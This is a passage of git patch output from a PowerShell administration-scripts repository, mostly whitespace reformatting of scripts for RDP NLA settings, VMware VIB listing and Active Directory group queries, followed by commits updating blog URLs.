$NLAinfo | Invoke-CimMethod -MethodName SetUserAuthenticationRequired -Arguments @{ UserAuthenticationRequired = $EnableNLA } -ErrorAction 'Continue' -ErrorVariable ErrorProcessInvokeWmiMethod - } - - CATCH - { - Write-Warning -Message "Error on $Computer" - Write-Error -Message $_.Exception.Message - if ($ErrorTestConnection) { Write-Warning -Message "[PROCESS] Error - $ErrorTestConnection" } - if ($ProcessError) { Write-Warning -Message "[PROCESS] Error - $ProcessError" } - if ($ErrorProcessInvokeWmiMethod) { Write-Warning -Message "[PROCESS] Error - $ErrorProcessInvokeWmiMethod" } - }#CATCH - FINALLY - { - if ($CimSession) - { - # CLeanup/Close the remaining session - Write-Verbose -Message "[PROCESS] Finally Close any CIM Session(s)" - Remove-CimSession -CimSession $CimSession - } - } - } # FOREACH - }#PROCESS - END - { - Write-Verbose -Message "[END] Script is completed" - } + #Requires -Version 3.0 + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline,ValueFromPipelineByPropertyName)] + [System.String[]]$ComputerName = $env:ComputerName, + + [Parameter(Mandatory)] + [System.Boolean]$EnableNLA, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#Param + BEGIN + { + TRY + { + IF (-not (Get-Module -Name CimCmdlets)) + { + Write-Verbose -Message '[BEGIN] Import Module CimCmdlets' + Import-Module CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets + } + } + CATCH + { + IF ($ErrorBeginCimCmdlets) + { + Write-Error -Message "[BEGIN] Can't find CimCmdlets Module" + } + } + }#BEGIN + + PROCESS + { + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message $Computer + TRY + { + # Building Splatting for CIM Sessions + Write-Verbose -message "$Computer - CIM/WIM - Building Splatting" + $CIMSessionParams = @{ + ComputerName = $Computer + ErrorAction = 'Stop' + ErrorVariable = 'ProcessError' + } + + # Add Credential if specified when calling the function + IF ($PSBoundParameters['Credential']) + { + Write-Verbose -message "[PROCESS] $Computer - CIM/WMI - Add Credential Specified" + $CIMSessionParams.credential = $Credential + } + + # Connectivity Test + Write-Verbose -Message "[PROCESS] $Computer - Testing Connection..." + Test-Connection -ComputerName $Computer -Count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null + + # CIM/WMI Connection + # WsMAN + IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') + { + Write-Verbose -Message "[PROCESS] $Computer - WSMAN is responsive" + $CimSession = New-CimSession @CIMSessionParams + $CimProtocol = $CimSession.protocol + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" + } + + # DCOM + ELSE + { + # Trying with DCOM protocol + Write-Verbose -Message "[PROCESS] $Computer - Trying to connect via DCOM protocol" + $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom + $CimSession = New-CimSession @CIMSessionParams + $CimProtocol = $CimSession.protocol + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" + } + + # Getting the Information on Terminal Settings + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" + $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" + $NLAinfo | Invoke-CimMethod -MethodName SetUserAuthenticationRequired -Arguments @{ UserAuthenticationRequired = $EnableNLA } -ErrorAction 'Continue' -ErrorVariable ErrorProcessInvokeWmiMethod + } + + CATCH + { + Write-Warning -Message "Error on $Computer" + Write-Error -Message $_.Exception.Message + if ($ErrorTestConnection) { Write-Warning -Message "[PROCESS] Error - $ErrorTestConnection" } + if ($ProcessError) { Write-Warning -Message "[PROCESS] Error - $ProcessError" } + if ($ErrorProcessInvokeWmiMethod) { Write-Warning -Message "[PROCESS] Error - $ErrorProcessInvokeWmiMethod" } + }#CATCH + FINALLY + { + if ($CimSession) + { + # CLeanup/Close the remaining session + Write-Verbose -Message "[PROCESS] Finally Close any CIM Session(s)" + Remove-CimSession -CimSession $CimSession + } + } + } # FOREACH + }#PROCESS + END + { + Write-Verbose -Message "[END] Script is completed" + } } diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 index 835d86bd..67759ef4 100644 --- a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -1,24 +1,24 @@ function Set-PowerShellWindowTitle { <# - .SYNOPSIS - Function to set the title of the PowerShell Window + .SYNOPSIS + Function to set the title of the PowerShell Window - .DESCRIPTION - Function to set the title of the PowerShell Window + .DESCRIPTION + Function to set the title of the PowerShell Window - .PARAMETER Title - Specifies the Title of the PowerShell Window + .PARAMETER Title + Specifies the Title of the PowerShell Window - .EXAMPLE - PS C:\> Set-PowerShellWindowTitle -Title LazyWinAdmin.com + .EXAMPLE + PS C:\> Set-PowerShellWindowTitle -Title LazyWinAdmin.com - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - PARAM($Title) - $Host.UI.RawUI.WindowTitle = $Title + PARAM($Title) + $Host.UI.RawUI.WindowTitle = $Title } diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index f489a41e..373936f9 100644 --- a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -18,10 +18,10 @@ Test if Remote Desktop is enabled on the remote machine SERVER01 and SERVER02 .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com - github.com/lazywinadmin + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com + github.com/lazywinadmin #> diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index 10496af5..f96aead0 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -2,186 +2,186 @@ .DESCRIPTION This Script retrieve the VIB information on all the VMware Host .PARAMETER AllVib - This is the default parameter to retrieve all the VIBs information + This is the default parameter to retrieve all the VIBs information .PARAMETER VIBName - Specifies a specific VIB Name + Specifies a specific VIB Name .PARAMETER VIBVendor - Specifies a specific VIB Vendor + Specifies a specific VIB Vendor .EXAMPLE - VMWARE-HOST-List_VIB.ps1 -AllVib + VMWARE-HOST-List_VIB.ps1 -AllVib .EXAMPLE - VMWARE-HOST-List_VIB.ps1 -VibName "net-e1000e" -Verbose + VMWARE-HOST-List_VIB.ps1 -VibName "net-e1000e" -Verbose .EXAMPLE - VMWARE-HOST-List_VIB.ps1 -VibVendor "Dell" -Verbose + VMWARE-HOST-List_VIB.ps1 -VibVendor "Dell" -Verbose .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> [CmdletBinding(DefaultParameterSetName="All")] PARAM ( - [parameter(Mandatory = $true)] - $Credential, - [parameter(Mandatory = $true)] - $Vcenter, - [Parameter(mandatory=$true,ParameterSetName = "All")] - [Switch]$AllVib, - [Parameter(mandatory=$true,ParameterSetName = "VIBName")] - $VibName, - [Parameter(mandatory=$true,ParameterSetName = "VIBVendor")] - $VibVendor + [parameter(Mandatory = $true)] + $Credential, + [parameter(Mandatory = $true)] + $Vcenter, + [Parameter(mandatory=$true,ParameterSetName = "All")] + [Switch]$AllVib, + [Parameter(mandatory=$true,ParameterSetName = "VIBName")] + $VibName, + [Parameter(mandatory=$true,ParameterSetName = "VIBVendor")] + $VibVendor ) BEGIN { - TRY - { - # Verify VMware Snapin is loaded - IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) - { - Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." - Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin - } + TRY + { + # Verify VMware Snapin is loaded + IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) + { + Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." + Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin + } - # Verify VMware Snapin is connected to at least one vcenter - IF (-not ($global:DefaultVIServer.count -gt 0)) - { - Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." - $Vcenter = Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter" + # Verify VMware Snapin is connected to at least one vcenter + IF (-not ($global:DefaultVIServer.count -gt 0)) + { + Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." + $Vcenter = Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter" - IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') - { - Connect-VIServer -Server $Vcenter -credential (Get-Credential) -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer - } - ELSE - { - Connect-VIServer -Server $Vcenter -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer - } - } - } - CATCH - { - Write-Warning -Message "Can't Connect to the Vcenter Server $vcenter" - Write-Warning -Message $Error[0].Exception.Message - } + IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') + { + Connect-VIServer -Server $Vcenter -credential (Get-Credential) -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer + } + ELSE + { + Connect-VIServer -Server $Vcenter -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer + } + } + } + CATCH + { + Write-Warning -Message "Can't Connect to the Vcenter Server $vcenter" + Write-Warning -Message $Error[0].Exception.Message + } } PROCESS { - TRY - { - $VMHosts = Get-VMHost -ErrorAction Stop -ErrorVariable ErrorGetVMhost | Where-Object { $_.ConnectionState -eq "Connected" } + TRY + { + $VMHosts = Get-VMHost -ErrorAction Stop -ErrorVariable ErrorGetVMhost | Where-Object { $_.ConnectionState -eq "Connected" } - IF ($PSBoundParameters['AllVib']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { - # Exposes the ESX CLI functionality of the current host - $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name - # Retrieve Vibs - $ESXCLI.software.vib.list() | - ForEach-Object { - $VIB = $_ - $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate - 'AcceptanceLevel' = $VIB.AcceptanceLevel - }#$Prop + IF ($PSBoundParameters['AllVib']) + { + Foreach ($CurrentVMhost in $VMHosts) + { + TRY + { + # Exposes the ESX CLI functionality of the current host + $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name + # Retrieve Vibs + $ESXCLI.software.vib.list() | + ForEach-Object { + $VIB = $_ + $Prop = [ordered]@{ + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate + 'AcceptanceLevel' = $VIB.AcceptanceLevel + }#$Prop - # Output Current Object - New-Object PSobject -Property $Prop - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - IF ($PSBoundParameters['VibVendor']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { - # Exposes the ESX CLI functionality of the current host - $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name - # Retrieve Vib from vendor $vibvendor - $ESXCLI.software.vib.list() | Where-object { $_.Vendor -eq $VibVendor } | - ForEach-Object - { - $VIB = $_ - $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate - 'AcceptanceLevel' = $VIB.AcceptanceLevel - }#$Prop + # Output Current Object + New-Object PSobject -Property $Prop + }#FOREACH + }#TRY + CATCH + { + Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" + Write-Warning -Message $Error[0].Exception.Message + } + } + } + IF ($PSBoundParameters['VibVendor']) + { + Foreach ($CurrentVMhost in $VMHosts) + { + TRY + { + # Exposes the ESX CLI functionality of the current host + $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name + # Retrieve Vib from vendor $vibvendor + $ESXCLI.software.vib.list() | Where-object { $_.Vendor -eq $VibVendor } | + ForEach-Object + { + $VIB = $_ + $Prop = [ordered]@{ + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate + 'AcceptanceLevel' = $VIB.AcceptanceLevel + }#$Prop - # Output Current Object - New-Object PSobject -Property $Prop - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - IF ($PSBoundParameters['VibName']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { - # Exposes the ESX CLI functionality of the current host - $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name - # Retrieve Vib with name $vibname - $ESXCLI.software.vib.list() | Where-object { $_.Name -eq $VibName } | - ForEach-Object - { - $VIB = $_ - $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate - 'AcceptanceLevel' = $VIB.AcceptanceLevel - }#$Prop + # Output Current Object + New-Object PSobject -Property $Prop + }#FOREACH + }#TRY + CATCH + { + Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" + Write-Warning -Message $Error[0].Exception.Message + } + } + } + IF ($PSBoundParameters['VibName']) + { + Foreach ($CurrentVMhost in $VMHosts) + { + TRY + { + # Exposes the ESX CLI functionality of the current host + $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name + # Retrieve Vib with name $vibname + $ESXCLI.software.vib.list() | Where-object { $_.Name -eq $VibName } | + ForEach-Object + { + $VIB = $_ + $Prop = [ordered]@{ + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate + 'AcceptanceLevel' = $VIB.AcceptanceLevel + }#$Prop - # Output Current Object - New-Object PSobject -Property $Prop - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - } - CATCH - { - Write-Warning -Message "Something wrong happened in the script" - IF ($ErrorGetVMhost) { Write-Warning -Message "Couldn't retrieve VMhosts" } - Write-Warning -Message $Error[0].Exception.Message - } + # Output Current Object + New-Object PSobject -Property $Prop + }#FOREACH + }#TRY + CATCH + { + Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" + Write-Warning -Message $Error[0].Exception.Message + } + } + } + } + CATCH + { + Write-Warning -Message "Something wrong happened in the script" + IF ($ErrorGetVMhost) { Write-Warning -Message "Couldn't retrieve VMhosts" } + Write-Warning -Message $Error[0].Exception.Message + } } diff --git a/_Test/AD-TokenGroups_Test.ps1 b/_Test/AD-TokenGroups_Test.ps1 index 7b67f221..87a14958 100644 --- a/_Test/AD-TokenGroups_Test.ps1 +++ b/_Test/AD-TokenGroups_Test.ps1 @@ -4,16 +4,16 @@ $Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -Error $Search.Filter = "(&((objectclass=user)(samaccountname=$UserSam)))" $Search.FindAll() | ForEach-Object -Process { $Account = $_ - $AccountGetDirectory = $Account.GetDirectoryEntry(); + $AccountGetDirectory = $Account.GetDirectoryEntry(); - # Add the properties tokenGroups - $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) + # Add the properties tokenGroups + $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) - $($AccountGetDirectory.Get("tokenGroups"))| + $($AccountGetDirectory.Get("tokenGroups"))| ForEach-Object -Process { - # Create SecurityIdentifier to translate into group name - $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) + # Create SecurityIdentifier to translate into group name + $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) $domainName = [adsi]"LDAP://$($Principal.AccountDomainSid)" <# @@ -36,12 +36,12 @@ $Search.FindAll() | ForEach-Object -Process { BinaryLength Property int BinaryLength {get;} Value Property string Value {get;} #> - # Prepare Output - $Properties = @{ - SamAccountName = $Account.properties.samaccountname -as [string] - GroupName = $principal.Translate([System.Security.Principal.NTAccount]) - } - # Output Information - New-Object -TypeName PSObject -Property $Properties - } + # Prepare Output + $Properties = @{ + SamAccountName = $Account.properties.samaccountname -as [string] + GroupName = $principal.Translate([System.Security.Principal.NTAccount]) + } + # Output Information + New-Object -TypeName PSObject -Property $Properties + } } \ No newline at end of file diff --git a/_Test/Add-LocalGroupMember.ps1 b/_Test/Add-LocalGroupMember.ps1 index f32d95d2..1c05fdd8 100644 --- a/_Test/Add-LocalGroupMember.ps1 +++ b/_Test/Add-LocalGroupMember.ps1 @@ -1,53 +1,53 @@ Function Add-LocalGroupMember { - <# - .SYNOPSIS - .DESCRIPTION - .PARAMETER - .EXAMPLE - .NOTES - Add support for local user/group and ad user/group + <# + .SYNOPSIS + .DESCRIPTION + .PARAMETER + .EXAMPLE + .NOTES + Add support for local user/group and ad user/group - New-ADGroup -Name "AdmServer$env:COMPUTERNAME" -GroupScope Global -GroupCategory Security -Path $ouPath + New-ADGroup -Name "AdmServer$env:COMPUTERNAME" -GroupScope Global -GroupCategory Security -Path $ouPath $fqdn = $_.DNSRoot ([adsi]"WinNT://./Administrators,group").Add("WinNT://$fqdn/AdmServer$env:COMPUTERNAME") - #> - [cmdletBinding()] - Param ( - [Parameter(Mandatory = $True)] - [string[]]$ComputerName, - [Parameter(Mandatory = $True)] - [string]$GroupName, - [Parameter(Mandatory = $True)] - [string]$Domain, - [Parameter(Mandatory = $True)] - [string]$Account - ) - BEGIN - { - #Check in AD for SamAccountName - $ADCheck = ([adsisearcher]"(samaccountname=$Account)").findone().properties['samaccountname'] - if ($SamAccountName -notmatch '\\') - { - $ADResolved = (Resolve-SamAccount -SamAccount $SamAccountName -Exit:$true) - $SamAccountName = 'WinNT://', "$env:userdomain", '/', $ADResolved -join '' - } - else - { - $ADResolved = ($SamAccountName -split '\\')[1] - $DomainResolved = ($SamAccountName -split '\\')[0] - $SamAccountName = 'WinNT://', $DomainResolved, '/', $ADResolved -join '' - } + #> + [cmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [string[]]$ComputerName, + [Parameter(Mandatory = $True)] + [string]$GroupName, + [Parameter(Mandatory = $True)] + [string]$Domain, + [Parameter(Mandatory = $True)] + [string]$Account + ) + BEGIN + { + #Check in AD for SamAccountName + $ADCheck = ([adsisearcher]"(samaccountname=$Account)").findone().properties['samaccountname'] + if ($SamAccountName -notmatch '\\') + { + $ADResolved = (Resolve-SamAccount -SamAccount $SamAccountName -Exit:$true) + $SamAccountName = 'WinNT://', "$env:userdomain", '/', $ADResolved -join '' + } + else + { + $ADResolved = ($SamAccountName -split '\\')[1] + $DomainResolved = ($SamAccountName -split '\\')[0] + $SamAccountName = 'WinNT://', $DomainResolved, '/', $ADResolved -join '' + } - } - PROCESS - { - $de = [ADSI]"WinNT://$computer/$Group,group" - $de.psbase.Invoke("Add", ([ADSI]"WinNT://$domain/$user").path) - } - END - { + } + PROCESS + { + $de = [ADSI]"WinNT://$computer/$Group,group" + $de.psbase.Invoke("Add", ([ADSI]"WinNT://$domain/$user").path) + } + END + { - } + } } \ No newline at end of file From d4d1d14b4909ce3b9343a3546f0fbf569e9452be Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 4 Sep 2019 15:52:56 -0700 Subject: [PATCH 149/561] update lazywinadmin urls --- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 2 +- AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 | 2 +- TOOL-Get-NetStat/Get-NetStat.ps1 | 2 +- TOOL-New-DjoinFile/New-DjoinFile.ps1 | 2 +- TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 | 2 +- .../Remove-StringLatinCharacter.ps1 | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index d083d228..ae45e757 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -38,7 +38,7 @@ WWW: www.lazywinadmin.com TWITTER:@lazywinadmin - http://www.lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html + https://lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html VERSION HISTORY: 1.0 2013.11.07 diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index 48cafe67..5b012646 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -16,7 +16,7 @@ function Get-ADDirectReports www.lazywinadmin.com @lazywinadmin - Blog post: http://www.lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html + Blog post: https://lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html VERSION HISTORY 1.0 2014/10/05 Initial Version diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index 288179b5..d8f68b98 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -6,7 +6,7 @@ .DESCRIPTION This function will get the output of netstat -n and parse the output .LINK - http://www.lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html + https://lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html .NOTES Francois-Xavier Cat www.lazywinadmin.com diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 index 012447b1..d62dd5c4 100644 --- a/TOOL-New-DjoinFile/New-DjoinFile.ps1 +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -29,7 +29,7 @@ .LINK https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile .LINK - http://www.lazywinadmin.com/2016/07/offline-domain-join-copying-djoin.html + https://lazywinadmin.com/2016/07/offline-domain-join-copying-djoin.html .LINK https://msdn.microsoft.com/en-us/library/system.io.fileinfo(v=vs.110).aspx #> diff --git a/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 b/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 index 20796a91..7309f3e7 100644 --- a/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 +++ b/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 @@ -1,5 +1,5 @@ <# -http://www.lazywinadmin.com/2014/03/powershell-read-excel-file-using-com.html +https://lazywinadmin.com/2014/03/powershell-read-excel-file-using-com.html #> [cmdletbinding()] PARAM ( diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index fc38f14f..a1d90ff0 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -28,7 +28,7 @@ github.com/lazywinadmin BLOG ARTICLE - http://www.lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html + https://lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html VERSION HISTORY 1.0.0.0 | Francois-Xavier Cat From 321d901e0779d459cea40916d11fe483870491da Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 4 Sep 2019 15:53:46 -0700 Subject: [PATCH 150/561] update lazywinadmin urls 2 --- AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 | 2 +- AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 | 2 +- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 2 +- AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 | 2 +- .../AD-USER-Report_Expiring_users.ps1 | 4 ++-- .../Connect-ExchangeOnPremises.ps1 | 2 +- EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 | 2 +- .../O365-GROUP-Get-DistributionGroupRecursive.ps1 | 2 +- O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 | 2 +- O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 | 2 +- .../Add-SCCMGroupDeviceAffinity.ps1 | 2 +- .../Add-SCCMUserDeviceAffinity.ps1 | 2 +- .../Get-SCCMClientCacheInformation.ps1 | 2 +- .../Get-SCCMDeviceCollectionDeployment.ps1 | 2 +- .../Get-SCCMUserCollectionDeployment.ps1 | 2 +- SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 | 2 +- .../Add-SCSMReviewActivityReviewer.ps1 | 2 +- .../Get-SCSMIncidentRequestComment.ps1 | 2 +- .../Get-SCSMReviewActivityReviewer.ps1 | 2 +- .../Get-SCSMServiceRequestComment.ps1 | 2 +- .../Get-SCSMWorkItemAffectedCI.ps1 | 2 +- .../Get-SCSMWorkItemAffectedUser.ps1 | 2 +- .../Get-SCSMWorkItemAssignedUser.ps1 | 2 +- .../Get-SCSMWorkItemCreatedByUser.ps1 | 2 +- SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 | 2 +- SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 | 2 +- .../Get-SCSMWorkItemRequestOffering.ps1 | 2 +- SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 | 2 +- SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 | 2 +- TOOL-Clean-MacAddress/Clean-MacAddress.ps1 | 2 +- TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 | 2 +- TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 | 2 +- TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 | 2 +- TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 | 4 ++-- TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 | 4 ++-- TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 | 2 +- TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 | 2 +- .../Get-HashTableNotEmptyValue.ps1 | 2 +- TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 | 2 +- TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 | 2 +- TOOL-Get-LocalGroup/Get-LocalGroup.ps1 | 2 +- TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 | 2 +- TOOL-Get-LocalUser/Get-LocalUser.ps1 | 2 +- TOOL-Get-LogFast/Get-LogFast.ps1 | 2 +- TOOL-Get-NetStat/Get-NetStat.ps1 | 2 +- .../Get-PSObjectEmptyOrNullProperty.ps1 | 2 +- TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 | 2 +- TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 | 2 +- TOOL-Get-StringCharCount/Get-StringCharCount.ps1 | 2 +- TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 | 2 +- TOOL-Get-Uptime/Get-Uptime.ps1 | 4 ++-- TOOL-New-RandomPassword/New-RandomPassword.ps1 | 2 +- TOOL-New-ScriptMessage/New-ScriptMessage.ps1 | 2 +- .../Remove-HashTableEmptyValue.ps1 | 2 +- .../Remove-PSObjectEmptyOrNullProperty.ps1 | 2 +- TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 | 2 +- 